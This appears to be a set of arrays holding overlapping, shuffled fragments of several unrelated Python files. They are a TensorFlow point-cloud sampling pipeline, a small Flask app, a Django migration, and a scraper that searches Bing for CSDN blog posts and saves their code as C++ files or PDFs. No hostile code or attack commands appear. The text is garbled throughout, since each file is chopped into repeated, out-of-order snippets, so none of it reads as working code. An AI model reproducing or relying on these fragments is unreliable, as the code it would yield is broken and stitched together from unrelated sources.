[ ">= 0.5: return points * FLIPPING_TENSOR, labels return points, labels", "mock_labels)) \\ .map(sampling_lambda) \\ .unbatch() \\ .batch(1) \\ .repeat(5) for", "labels return points, labels mock_data = tf.constant([ [1., 2., 3.],", "labels, num_point): if tf.random.uniform(shape=()) >= 0.5: return points * FLIPPING_TENSOR,", "tf.constant([1.0, -1.0, 1.0]) @tf.function def sample_data(points, labels, num_point): if tf.random.uniform(shape=())", "import tensorflow as tf FLIPPING_TENSOR = tf.constant([1.0, -1.0, 1.0]) @tf.function", "3.], [4., 5., 6.], [7., 8., 9.] ]) mock_labels =", "labels mock_data = tf.constant([ [1., 2., 3.], [4., 5., 6.],", "tf FLIPPING_TENSOR = tf.constant([1.0, -1.0, 1.0]) @tf.function def sample_data(points, labels,", "[0.], [1.] ]) sampling_lambda = lambda x, y: sample_data(x, y,", ".map(sampling_lambda) \\ .unbatch() \\ .batch(1) \\ .repeat(5) for x, y", ".unbatch() \\ .batch(1) \\ .repeat(5) for x, y in train_data:", "[1.] ]) sampling_lambda = lambda x, y: sample_data(x, y, 512)", "tf.constant([ [1., 2., 3.], [4., 5., 6.], [7., 8., 9.]", "\\ .map(sampling_lambda) \\ .unbatch() \\ .batch(1) \\ .repeat(5) for x,", "if tf.random.uniform(shape=()) >= 0.5: return points * FLIPPING_TENSOR, labels return", "0.5: return points * FLIPPING_TENSOR, labels return points, labels mock_data", "[1., 2., 3.], [4., 5., 6.], [7., 8., 9.] ])", "tf.data.Dataset.from_tensors((mock_data, mock_labels)) \\ .map(sampling_lambda) \\ .unbatch() \\ .batch(1) \\ .repeat(5)", "= tf.constant([1.0, -1.0, 1.0]) @tf.function def sample_data(points, labels, num_point): if", "[7., 8., 9.] ]) mock_labels = tf.constant([ [1.], [0.], [1.]", "as tf FLIPPING_TENSOR = tf.constant([1.0, -1.0, 1.0]) @tf.function def sample_data(points,", "[4., 5., 6.], [7., 8., 9.] ]) mock_labels = tf.constant([", "tensorflow as tf FLIPPING_TENSOR = tf.constant([1.0, -1.0, 1.0]) @tf.function def", "mock_data = tf.constant([ [1., 2., 3.], [4., 5., 6.], [7.,", "= tf.constant([ [1.], [0.], [1.] ]) sampling_lambda = lambda x,", "num_point): if tf.random.uniform(shape=()) >= 0.5: return points * FLIPPING_TENSOR, labels", "1.0]) @tf.function def sample_data(points, labels, num_point): if tf.random.uniform(shape=()) >= 0.5:", "y: sample_data(x, y, 512) train_data = tf.data.Dataset.from_tensors((mock_data, mock_labels)) \\ .map(sampling_lambda)", "tf.constant([ [1.], [0.], [1.] ]) sampling_lambda = lambda x, y:", "lambda x, y: sample_data(x, y, 512) train_data = tf.data.Dataset.from_tensors((mock_data, mock_labels))", "points, labels mock_data = tf.constant([ [1., 2., 3.], [4., 5.,", "= tf.constant([ [1., 2., 3.], [4., 5., 6.], [7., 8.,", "9.] ]) mock_labels = tf.constant([ [1.], [0.], [1.] ]) sampling_lambda", "y, 512) train_data = tf.data.Dataset.from_tensors((mock_data, mock_labels)) \\ .map(sampling_lambda) \\ .unbatch()", "\\ .unbatch() \\ .batch(1) \\ .repeat(5) for x, y in", "mock_labels = tf.constant([ [1.], [0.], [1.] ]) sampling_lambda = lambda", "def sample_data(points, labels, num_point): if tf.random.uniform(shape=()) >= 0.5: return points", "sampling_lambda = lambda x, y: sample_data(x, y, 512) train_data =", "@tf.function def sample_data(points, labels, num_point): if tf.random.uniform(shape=()) >= 0.5: return", "5., 6.], [7., 8., 9.] ]) mock_labels = tf.constant([ [1.],", "]) mock_labels = tf.constant([ [1.], [0.], [1.] ]) sampling_lambda =", "]) sampling_lambda = lambda x, y: sample_data(x, y, 512) train_data", "train_data = tf.data.Dataset.from_tensors((mock_data, mock_labels)) \\ .map(sampling_lambda) \\ .unbatch() \\ .batch(1)", "= lambda x, y: sample_data(x, y, 512) train_data = tf.data.Dataset.from_tensors((mock_data,", "[1.], [0.], [1.] ]) sampling_lambda = lambda x, y: sample_data(x,", "= tf.data.Dataset.from_tensors((mock_data, mock_labels)) \\ .map(sampling_lambda) \\ .unbatch() \\ .batch(1) \\", "FLIPPING_TENSOR, labels return points, labels mock_data = tf.constant([ [1., 2.,", "512) train_data = tf.data.Dataset.from_tensors((mock_data, mock_labels)) \\ .map(sampling_lambda) \\ .unbatch() \\", "tf.random.uniform(shape=()) >= 0.5: return points * FLIPPING_TENSOR, labels return points,", "points * FLIPPING_TENSOR, labels return points, labels mock_data = tf.constant([", "* FLIPPING_TENSOR, labels return points, labels mock_data = tf.constant([ [1.,", "2., 3.], [4., 5., 6.], [7., 8., 9.] ]) mock_labels", "6.], [7., 8., 9.] ]) mock_labels = tf.constant([ [1.], [0.],", "x, y: sample_data(x, y, 512) train_data = tf.data.Dataset.from_tensors((mock_data, mock_labels)) \\", "FLIPPING_TENSOR = tf.constant([1.0, -1.0, 1.0]) @tf.function def sample_data(points, labels, num_point):", "return points * FLIPPING_TENSOR, labels return points, labels mock_data =", "sample_data(points, labels, num_point): if tf.random.uniform(shape=()) >= 0.5: return points *", "sample_data(x, y, 512) train_data = tf.data.Dataset.from_tensors((mock_data, mock_labels)) \\ .map(sampling_lambda) \\", "8., 9.] ]) mock_labels = tf.constant([ [1.], [0.], [1.] ])", "\\ .batch(1) \\ .repeat(5) for x, y in train_data: print(x)", "-1.0, 1.0]) @tf.function def sample_data(points, labels, num_point): if tf.random.uniform(shape=()) >=", "return points, labels mock_data = tf.constant([ [1., 2., 3.], [4.," ]
[ "flask import Flask app = Flask(__name__) @app.route('/') def index(): return", "= Flask(__name__) @app.route('/') def index(): return 'This is the app", "Flask app = Flask(__name__) @app.route('/') def index(): return 'This is", "@app.route('/') def index(): return 'This is the app index page.'", "import Flask app = Flask(__name__) @app.route('/') def index(): return 'This", "from flask import Flask app = Flask(__name__) @app.route('/') def index():", "Flask(__name__) @app.route('/') def index(): return 'This is the app index", "app = Flask(__name__) @app.route('/') def index(): return 'This is the" ]
[ "3.1.6 on 2021-02-16 11:37 from django.db import migrations, models class", "'0026_event'), ] operations = [ migrations.AlterField( model_name='group', name='students', field=models.ManyToManyField(blank=True, to='schedule.Student',", "[ migrations.AlterField( model_name='group', name='students', field=models.ManyToManyField(blank=True, to='schedule.Student', verbose_name='Учні'), ), migrations.AlterField( model_name='teacher',", "import migrations, models class Migration(migrations.Migration): dependencies = [ ('schedule', '0026_event'),", "dependencies = [ ('schedule', '0026_event'), ] operations = [ migrations.AlterField(", "operations = [ migrations.AlterField( model_name='group', name='students', field=models.ManyToManyField(blank=True, to='schedule.Student', verbose_name='Учні'), ),", "migrations.AlterField( model_name='group', name='students', field=models.ManyToManyField(blank=True, to='schedule.Student', verbose_name='Учні'), ), migrations.AlterField( model_name='teacher', name='subjects',", "to='schedule.Student', verbose_name='Учні'), ), migrations.AlterField( model_name='teacher', name='subjects', field=models.ManyToManyField(blank=True, to='schedule.Subject', verbose_name='Предмети'), ),", "= [ ('schedule', '0026_event'), ] operations = [ migrations.AlterField( model_name='group',", "django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('schedule',", "by Django 3.1.6 on 2021-02-16 11:37 from django.db import migrations,", "# Generated by Django 3.1.6 on 2021-02-16 11:37 from django.db", "field=models.ManyToManyField(blank=True, to='schedule.Student', verbose_name='Учні'), ), migrations.AlterField( model_name='teacher', name='subjects', field=models.ManyToManyField(blank=True, to='schedule.Subject', verbose_name='Предмети'),", "= [ migrations.AlterField( model_name='group', name='students', field=models.ManyToManyField(blank=True, to='schedule.Student', verbose_name='Учні'), ), migrations.AlterField(", "model_name='group', name='students', field=models.ManyToManyField(blank=True, to='schedule.Student', verbose_name='Учні'), ), migrations.AlterField( model_name='teacher', name='subjects', field=models.ManyToManyField(blank=True,", "Migration(migrations.Migration): dependencies = [ ('schedule', '0026_event'), ] operations = [", "name='students', field=models.ManyToManyField(blank=True, to='schedule.Student', verbose_name='Учні'), ), migrations.AlterField( model_name='teacher', name='subjects', field=models.ManyToManyField(blank=True, to='schedule.Subject',", "('schedule', '0026_event'), ] operations = [ migrations.AlterField( model_name='group', name='students', field=models.ManyToManyField(blank=True,", "from django.db import migrations, models class Migration(migrations.Migration): dependencies = [", "migrations, models class Migration(migrations.Migration): dependencies = [ ('schedule', '0026_event'), ]", "models class Migration(migrations.Migration): dependencies = [ ('schedule', '0026_event'), ] operations", "] operations = [ migrations.AlterField( model_name='group', name='students', field=models.ManyToManyField(blank=True, to='schedule.Student', verbose_name='Учні'),", "Generated by Django 3.1.6 on 2021-02-16 11:37 from django.db import", "2021-02-16 11:37 from django.db import migrations, models class Migration(migrations.Migration): dependencies", "Django 3.1.6 on 2021-02-16 11:37 from django.db import migrations, models", "class Migration(migrations.Migration): dependencies = [ ('schedule', '0026_event'), ] operations =", "verbose_name='Учні'), ), migrations.AlterField( model_name='teacher', name='subjects', field=models.ManyToManyField(blank=True, to='schedule.Subject', verbose_name='Предмети'), ), ]", "[ ('schedule', '0026_event'), ] operations = [ migrations.AlterField( model_name='group', name='students',", "11:37 from django.db import migrations, models class Migration(migrations.Migration): dependencies =", "on 2021-02-16 11:37 from django.db import migrations, models class Migration(migrations.Migration):" ]
[ "from retrying import retry from pygments import highlight from pygments.lexers", "X 10.7; rv:11.0) Gecko/20100101 Firefox/11.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64;", "= ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:11.0) Gecko/20100101", "charset=\"utf-8\" /> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> </head> <body> <!--", "Gecko/20100 101 Firefox/22.0', # 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101", "# def _is_article(link): # return re.search('article/details/\\d+', link) # # question_links", "try: return requests.get(url, headers={'User-Agent': random.choice(self._USER_AGENTS)}, ).text # verify = VERIFY_SSL_CERTIFICATE).text", "self._extract_dict_from_bing(html) return None @staticmethod def _extract_dict_from_bing(html): html.remove_namespaces() dic = {}", "+ '.pdf') if self._test_is_open_if_exists(filePath): return try: print('[*] save to ',", "try: if len(self.args['save']): return False except TypeError as e: pass", "no code...') print('please try another...') return if not os.path.exists(CPP_DIR): os.makedirs(CPP_DIR)", "for node in html: node = pq(node) s = node.html()", "self._test_is_open_if_exists(filePath): return code = s.split(ans_split)[-1] with open(filePath, 'w')as f: f.write(code)", "Handling Unicode: http://stackoverflow.com/a/6633040/305414 def u(x): return codecs.unicode_escape_decode(x)[0] else: from urllib.request", "= re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.', title) html = html_template.format(title='Oliver loves Annabelle forever~',", "= self._get_result(search_url) html = pq(result) # return the anser_list return", "question_links = [link for link in links if _is_article(link)] #", "<body> <!-- <center><h1>{title}</h1></center> --> {content} </body> </html> \"\"\" options =", "pq(page) # the main part of the article return html('.blog-content-box')", "part of the article return html('.blog-content-box') def _get_code(self, main_page, args):", "in html('.b_algo')('h2')('a'): # name ='[*{0}*] {1}'.format(str(num),a.text) name = a.text link", "k, v in self.data.items(): print('[*{}*] '.format(str(num)), end='') print(k, end=' [*link*]", "def _save_to_pdf(html, filepath): wkhtmltopdf_path = scripFilePath + '/wkhtmltox/bin/wkhtmltopdf.exe' config =", "print('[!!] ',self.data) return num = 0 for k, v in", "num = 0 for k, v in self.data.items(): print('[*{}*] '.format(str(num)),", "pygments.formatters.terminal import TerminalFormatter from pygments.util import ClassNotFound from pyquery import", "= self._get_code(main_page, self.args) if not s: print('sorry , this article", "# return re.search('article/details/\\d+', link) # # question_links = [link for", "num+=1 return dic def show_results(self): if isinstance(self.data,str): print('[!!] ',self.data) return", "return num = 0 for k, v in self.data.items(): print('[*{}*]", "list(self.data.values()) def show_code(self): url = list(self.data.values())[self.args['print']] main_page = self._parse_url(url) s", "def _get_dict(self, query): search_url = self._search_url.format(self.host, url_quote(query)) # search_url :", "re.sub('[<>\\?\\\\\\/:\\*\\s]', '.', title) s = self._get_code(main_page, self.args) if not s:", "(Macintosh; Intel Mac OS X 10.7; rv:11.0) Gecko/20100101 Firefox/11.0', 'Mozilla/5.0", "= a.attrib['href'] dic[name] = str(link) # num+=1 return dic def", "print('[~~]请见谅。。。。') @staticmethod def _save_to_pdf(html, filepath): wkhtmltopdf_path = scripFilePath + '/wkhtmltox/bin/wkhtmltopdf.exe'", "OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) ' 'Chrome/19.0.1084.46 Safari/536.5'),", "confirm_dict def _get_dict(self, query): search_url = self._search_url.format(self.host, url_quote(query)) # search_url", "'margin-left': '0.75in', 'encoding': \"UTF-8\", 'custom-header': [ ('Accept-Encoding', 'gzip') ], 'cookie':", "title + '.cpp') if self._test_is_open_if_exists(filePath): return code = s.split(ans_split)[-1] with", "retrying import retry from pygments import highlight from pygments.lexers import", "print('文件已经存在,直接打开') os.popen(file_path) return True else: return False def _parse_url(self, url):", "= s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) return ans_split.join(ans) @staticmethod def", "pdfkit.from_string(html, filepath, configuration=config) def open_after_save(self, pdf_path): if not self.args['open_pdf']: return", "if _is_article(v)} # return confirm_dict def _get_dict(self, query): search_url =", "if os.path.exists(file_path): print('文件已经存在,直接打开') os.popen(file_path) return True else: return False def", "v for k, v in dic.items() if _is_article(v)} # return", "http://stackoverflow.com/a/6633040/305414 def u(x): return codecs.unicode_escape_decode(x)[0] else: from urllib.request import getproxies", "# Handling Unicode: http://stackoverflow.com/a/6633040/305414 def u(x): return codecs.unicode_escape_decode(x)[0] else: from", "isinstance(self.data,str): print('[!!] ',self.data) return num = 0 for k, v", "self._search_url.format(self.host, url_quote(query)) # search_url : site:blog.csdn.net 1173 HDU result =", "code...' print(s) def save_to_pdf(self, url): html_template = u\"\"\" <!DOCTYPE html>", "'>').replace('&lt;', '<') ans.append(self._add_color(s, args)) return ans_split.join(ans) @staticmethod def _add_color(code, args):", "'outline-depth': 10, } main_page = self._parse_url(url) title = main_page('h1').eq(0).text() title", "the anser_list return self._extract_links(html, 'bing') @retry(stop_max_attempt_number=3) def _get_result(self, url): try:", "import retry from pygments import highlight from pygments.lexers import guess_lexer,", "_add_color(code, args): if not args['color']: return code lexer = None", "content=\"text/html; charset=utf-8\" /> </head> <body> <!-- <center><h1>{title}</h1></center> --> {content} </body>", "highlight(code, CppLexer(), TerminalFormatter(bg='dark')) def save_to_cpp(self): ans_split = '\\n' + '<==>'", "def _extract_dict_from_bing(html): html.remove_namespaces() dic = {} for a in html('.b_algo')('h2')('a'):", ":param main_page:main_page=_parse_url(url) :param args: args :return: str ''' html =", "10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) ' 'Chrome/19.0.1084.46 Safari/536.5'), ('Mozilla/5.0 (Windows;", "s=re.sub('</?[^>]+>','',s) s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s = s.replace('&gt;', '>').replace('&lt;',", "print('[*]retrying again automatically ') raise e def _extract_links(self, html, search_engine):", "def _get_code(self, main_page, args): ''' :param main_page:main_page=_parse_url(url) :param args: args", "if args['all_code']: for node in html: node = pq(node) s", "pq(node) s = node.html() # s=re.sub('</?[^>]+>','',s) s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '',", "Linux x86_64; rv:22.0) Gecko/20100 101 Firefox/22.0', # 'Mozilla/5.0 (Windows NT", "'page-size': 'Letter', 'margin-top': '0.75in', 'margin-right': '0.75in', 'margin-bottom': '0.75in', 'margin-left': '0.75in',", "Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) '", "len(self.data) def whoami(self): self.args['query'] = ' '.join(self.args['query']).replace('?', '') try: return", "self.links[self.args['number_link']] main_page = self._parse_url(url) title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s]',", "{ 'page-size': 'Letter', 'margin-top': '0.75in', 'margin-right': '0.75in', 'margin-bottom': '0.75in', 'margin-left':", "# num+=1 return dic def show_results(self): if isinstance(self.data,str): print('[!!] ',self.data)", "confirm_links(self): dic = self._get_dict(self.args['query']) if not dic: return False '''先不检验。。测试多个域名。。'''", "import codecs from urllib import quote as url_quote from urllib", "open_after_save(self, pdf_path): if not self.args['open_pdf']: return try: if len(self.args['save']): return", "''' :param url: 网页url :return: 返回网页的主要区域的pyquery ''' page = self._get_result(url)", "'', s) s = s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) else:", "= re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s = s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s,", "s = s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) else: node =", "# search_url : site:blog.csdn.net 1173 HDU result = self._get_result(search_url) html", "os.path.exists(PDF_DIR): os.makedirs(PDF_DIR) filePath = os.path.join(PDF_DIR, title + '.pdf') if self._test_is_open_if_exists(filePath):", "False except TypeError as e: pass if self.args['open_pdf']: if os.path.exists(file_path):", "title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s]', '.', title) s =", "# question_links = [link for link in links if _is_article(link)]", "dic.items() if _is_article(v)} # return confirm_dict def _get_dict(self, query): search_url", "main_page('article')('pre') if not html: return None ans = [] ans_split", "= scripFilePath + '/wkhtmltox/bin/wkhtmltopdf.exe' config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html, filepath, configuration=config)", "article has no code...') print('please try another...') return if not", "html_template = u\"\"\" <!DOCTYPE html> <html> <head> <meta charset=\"utf-8\" />", "def whoami(self): self.args['query'] = ' '.join(self.args['query']).replace('?', '') try: return self.confirm_links()", "_is_article(link): # return re.search('article/details/\\d+', link) # # question_links = [link", "= '\\n' + '<==>' * 17 + '\\n' url =", "'.', title) s = self._get_code(main_page, self.args) if not s: print('sorry", "'encoding': \"UTF-8\", 'custom-header': [ ('Accept-Encoding', 'gzip') ], 'cookie': [ ('cookie-name1',", "= u\"\"\" <!DOCTYPE html> <html> <head> <meta charset=\"utf-8\" /> <meta", "'bing': return self._extract_dict_from_bing(html) return None @staticmethod def _extract_dict_from_bing(html): html.remove_namespaces() dic", "in html: node = pq(node) s = node.html() # s=re.sub('</?[^>]+>','',s)", "lexer = None try: lexer = guess_lexer(code) except ClassNotFound: return", "1173 HDU result = self._get_result(search_url) html = pq(result) # return", "another...') return if not os.path.exists(CPP_DIR): os.makedirs(CPP_DIR) filePath = os.path.join(CPP_DIR, title", "code lexer = None try: lexer = guess_lexer(code) except ClassNotFound:", "s) s = s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) else: node", "html = pq(page) # the main part of the article", "[link for link in links if _is_article(link)] # # https://blog.csdn.net/u013177568/article/details/62432761", "self._search_url = 'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS = ('Mozilla/5.0 (Macintosh; Intel Mac OS", "couldn\\'t find any help with that topic\\n' except (ConnectionError, SSLError):", "(Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko)", "Safari/536.5'), ('Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko)", ").text # verify = VERIFY_SSL_CERTIFICATE).text except requests.exceptions.SSLError as e: print('[ERROR]", "with that topic\\n' except (ConnectionError, SSLError): return 'Failed to establish", "def _parse_url(self, url): ''' :param url: 网页url :return: 返回网页的主要区域的pyquery '''", "AppleWebKit/536.5 (KHTML, like Gecko) ' 'Chrome/19.0.1084.46 Safari/536.5'), ('Mozilla/5.0 (Windows; Windows", "print(v) num += 1 class Blog(Result): def __init__(self, host, args):", "= list(self.data.values())[self.args['print']] main_page = self._parse_url(url) s = self._get_code(main_page, self.args) or", "import numbers if sys.version < '3': import codecs from urllib", "automatically ') raise e def _extract_links(self, html, search_engine): if search_engine", "link) # # question_links = [link for link in links", "super().__init__(host, args) self.links = list(self.data.values()) def show_code(self): url = list(self.data.values())[self.args['print']]", "url_quote(query)) # search_url : site:blog.csdn.net 1173 HDU result = self._get_result(search_url)", "if self.args['open_pdf']: if os.path.exists(file_path): print('文件已经存在,直接打开') os.popen(file_path) return True else: return", "TerminalFormatter(bg='dark')) def save_to_cpp(self): ans_split = '\\n' + '<==>' * 17", "Result(object): def __init__(self, host, args): self.args = args self.host =", "get_lexer_by_name from pygments.lexers import CppLexer from pygments.formatters.terminal import TerminalFormatter from", "',self.data) return num = 0 for k, v in self.data.items():", "# confirm_dict = {k: v for k, v in dic.items()", "_save_to_pdf(html, filepath): wkhtmltopdf_path = scripFilePath + '/wkhtmltox/bin/wkhtmltopdf.exe' config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path)", "_get_result(self, url): try: return requests.get(url, headers={'User-Agent': random.choice(self._USER_AGENTS)}, ).text # verify", "= main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s]', '.', title) s = self._get_code(main_page,", "args): ''' :param main_page:main_page=_parse_url(url) :param args: args :return: str '''", "= guess_lexer(code) except ClassNotFound: return code return highlight(code, CppLexer(), TerminalFormatter(bg='dark'))", "self.data = self.whoami() def __call__(self, *args, **kwargs): return self.show_results() def", "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> </head> <body> <!-- <center><h1>{title}</h1></center> -->", "'margin-top': '0.75in', 'margin-right': '0.75in', 'margin-bottom': '0.75in', 'margin-left': '0.75in', 'encoding': \"UTF-8\",", "main_page = self._parse_url(url) title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s]', '.',", "except ClassNotFound: return code return highlight(code, CppLexer(), TerminalFormatter(bg='dark')) def save_to_cpp(self):", "return code return highlight(code, CppLexer(), TerminalFormatter(bg='dark')) def save_to_cpp(self): ans_split =", "try: lexer = guess_lexer(code) except ClassNotFound: return code return highlight(code,", "def __call__(self, *args, **kwargs): return self.show_results() def __len__(self): return len(self.data)", "self.args['open_pdf']: if os.path.exists(file_path): print('文件已经存在,直接打开') os.popen(file_path) return True else: return False", "self._parse_url(url) title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s]', '.', title) s", "article has no code...' print(s) def save_to_pdf(self, url): html_template =", "None ans = [] ans_split = '\\n' + '<==>' *", "return if not os.path.exists(CPP_DIR): os.makedirs(CPP_DIR) filePath = os.path.join(CPP_DIR, title +", "scripFilePath = os.path.split(os.path.realpath(__file__))[0] PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir') class", "pq(html[-1]) s = node.html() s = re.sub('<((span)|(code)|(/span)|(/code)){1}.*?>', '', s) s", "html.remove_namespaces() dic = {} for a in html('.b_algo')('h2')('a'): # name", "search_url = self._search_url.format(self.host, url_quote(query)) # search_url : site:blog.csdn.net 1173 HDU", ": site:blog.csdn.net 1173 HDU result = self._get_result(search_url) html = pq(result)", "return dic def show_results(self): if isinstance(self.data,str): print('[!!] ',self.data) return num", "'', s) s = s.replace('&gt;', '>').replace('&lt;', '<') ans.append(self._add_color(s, args)) return", "10.7; rv:11.0) Gecko/20100101 Firefox/11.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0)", "guess_lexer(code) except ClassNotFound: return code return highlight(code, CppLexer(), TerminalFormatter(bg='dark')) def", "http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> </head> <body> <!-- <center><h1>{title}</h1></center> --> {content}", "print('[*] save to ', filePath) self._save_to_pdf(html,filePath) print('[*] successfully ') except:", "# https://blog.csdn.net/u013177568/article/details/62432761 # confirm_dict = {k: v for k, v", "= self._parse_url(url) title = main_page('h1').eq(0).text() title = re.sub('[<>\\?\\\\\\/:\\*\\s]', '.', title)", "# # question_links = [link for link in links if", "args self.host = host self._search_url = 'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS = ('Mozilla/5.0", "return False except TypeError as e: pass if self.args['open_pdf']: if", "print('[!!]文件未打开,可能保存时发生IO错误。。') print('[!!]请重新生成pdf,或者,该网页的结构不符合生成pdf的标准') print('[~~]请见谅。。。。') @staticmethod def _save_to_pdf(html, filepath): wkhtmltopdf_path = scripFilePath", "import getproxies # Handling Unicode: http://stackoverflow.com/a/6633040/305414 def u(x): return codecs.unicode_escape_decode(x)[0]", "import shutil import random import re import requests import sys", "k, v in dic.items() if _is_article(v)} # return confirm_dict def", "False except TypeError as e: pass # if args['pdf'] and", "'cookie': [ ('cookie-name1', 'cookie-value1'), ('cookie-name2', 'cookie-value2'), ], 'outline-depth': 10, }", "ClassNotFound from pyquery import PyQuery as pq from requests.exceptions import", "quote as url_quote from urllib import getproxies # Handling Unicode:", "result = self._get_result(search_url) html = pq(result) # return the anser_list", "<meta charset=\"utf-8\" /> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> </head> <body>", "v in self.data.items(): print('[*{}*] '.format(str(num)), end='') print(k, end=' [*link*] ')", "'<') ans.append(self._add_color(s, args)) return ans_split.join(ans) @staticmethod def _add_color(code, args): if", "time import time import argparse import glob import os import", "topic\\n' except (ConnectionError, SSLError): return 'Failed to establish network connection\\n'", "random import re import requests import sys from concurrent import", "self._get_code(main_page, self.args) if not s: print('sorry , this article has", "u(x): return x scripFilePath = os.path.split(os.path.realpath(__file__))[0] PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR", "if not os.path.exists(CPP_DIR): os.makedirs(CPP_DIR) filePath = os.path.join(CPP_DIR, title + '.cpp')", "connection\\n' def confirm_links(self): dic = self._get_dict(self.args['query']) if not dic: return", "from urllib import quote as url_quote from urllib import getproxies", "'0.75in', 'margin-left': '0.75in', 'encoding': \"UTF-8\", 'custom-header': [ ('Accept-Encoding', 'gzip') ],", "an SSL Error.\\n') print('[*]retrying again automatically ') raise e def", "'0.75in', 'margin-bottom': '0.75in', 'margin-left': '0.75in', 'encoding': \"UTF-8\", 'custom-header': [ ('Accept-Encoding',", "= os.path.split(os.path.realpath(__file__))[0] PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir') class Result(object):", "os.path.join(CPP_DIR, title + '.cpp') if self._test_is_open_if_exists(filePath): return code = s.split(ans_split)[-1]", "wkhtmltopdf_path = scripFilePath + '/wkhtmltox/bin/wkhtmltopdf.exe' config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) pdfkit.from_string(html, filepath,", "TypeError as e: pass if self.args['open_pdf']: if os.path.exists(file_path): print('文件已经存在,直接打开') os.popen(file_path)", "class Blog(Result): def __init__(self, host, args): super().__init__(host, args) self.links =", "sys from concurrent import futures import pdfkit import time from", "main_page = self._parse_url(url) s = self._get_code(main_page, self.args) or 'sorry,this article", "with open(filePath, 'w')as f: f.write(code) print('[*]save successfully...') try: self.open_after_save(filePath) except:", "of the article return html('.blog-content-box') def _get_code(self, main_page, args): '''", "import asyncio import time import time import argparse import glob", "return requests.get(url, headers={'User-Agent': random.choice(self._USER_AGENTS)}, ).text # verify = VERIFY_SSL_CERTIFICATE).text except", "requests.exceptions.SSLError as e: print('[ERROR] Encountered an SSL Error.\\n') print('[*]retrying again", "10, } main_page = self._parse_url(url) title = main_page('h1').eq(0).text() title =", "if not self.args['open_pdf']: return try: if len(self.args['save']): return False except", "the main part of the article return html('.blog-content-box') def _get_code(self,", "*args, **kwargs): return self.show_results() def __len__(self): return len(self.data) def whoami(self):", "re.sub('[<>\\?\\\\\\/:\\*\\s\\[\\]\\(\\)\\-]', '.', title) html = html_template.format(title='Oliver loves Annabelle forever~', content=main_page.html())", "+ '\\n' if args['all_code']: for node in html: node =", "VERIFY_SSL_CERTIFICATE).text except requests.exceptions.SSLError as e: print('[ERROR] Encountered an SSL Error.\\n')", "PDFpath.split('.')[-1]!='pdf': # PDFpath += '.pdf' os.popen(pdf_path) def _test_is_open_if_exists(self, file_path): try:", "except TypeError as e: pass # if args['pdf'] and PDFpath.split('.')[-1]!='pdf':", "6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46' 'Safari/536.5'), ) self.data =", "os.popen(pdf_path) def _test_is_open_if_exists(self, file_path): try: if len(self.args['save']): return False except", "'.format(str(num)), end='') print(k, end=' [*link*] ') print(v) num += 1", "rv:11.0) Gecko/20100101 Firefox/11.0', ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4)", "dic def show_results(self): if isinstance(self.data,str): print('[!!] ',self.data) return num =", "if len(self.args['save']): return False except TypeError as e: pass #", "filePath = os.path.join(CPP_DIR, title + '.cpp') if self._test_is_open_if_exists(filePath): return code", "[*link*] ') print(v) num += 1 class Blog(Result): def __init__(self,", "from pygments.util import ClassNotFound from pyquery import PyQuery as pq", "= os.path.join(scripFilePath,'whoamiPDFdir') CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir') class Result(object): def __init__(self, host,", "'.join(self.args['query']).replace('?', '') try: return self.confirm_links() or 'Sorry, couldn\\'t find any", "= host self._search_url = 'https://www.bing.com/search?q=site:{0}%20{1}' self._USER_AGENTS = ('Mozilla/5.0 (Macintosh; Intel", "= main_page('article')('pre')('code') or main_page('article')('pre') if not html: return None ans", "from pygments.formatters.terminal import TerminalFormatter from pygments.util import ClassNotFound from pyquery", "') raise e def _extract_links(self, html, search_engine): if search_engine ==", "def save_to_pdf(self, url): html_template = u\"\"\" <!DOCTYPE html> <html> <head>", "lexer = guess_lexer(code) except ClassNotFound: return code return highlight(code, CppLexer(),", "failed') print('[!!]如果事因为图片路径造成的保存失败,文字和代码部分则会正常生成pdf,') try: # 系统级命令好像try不到。。。 self.open_after_save(filePath) except: print('[!!]文件未打开,可能保存时发生IO错误。。') 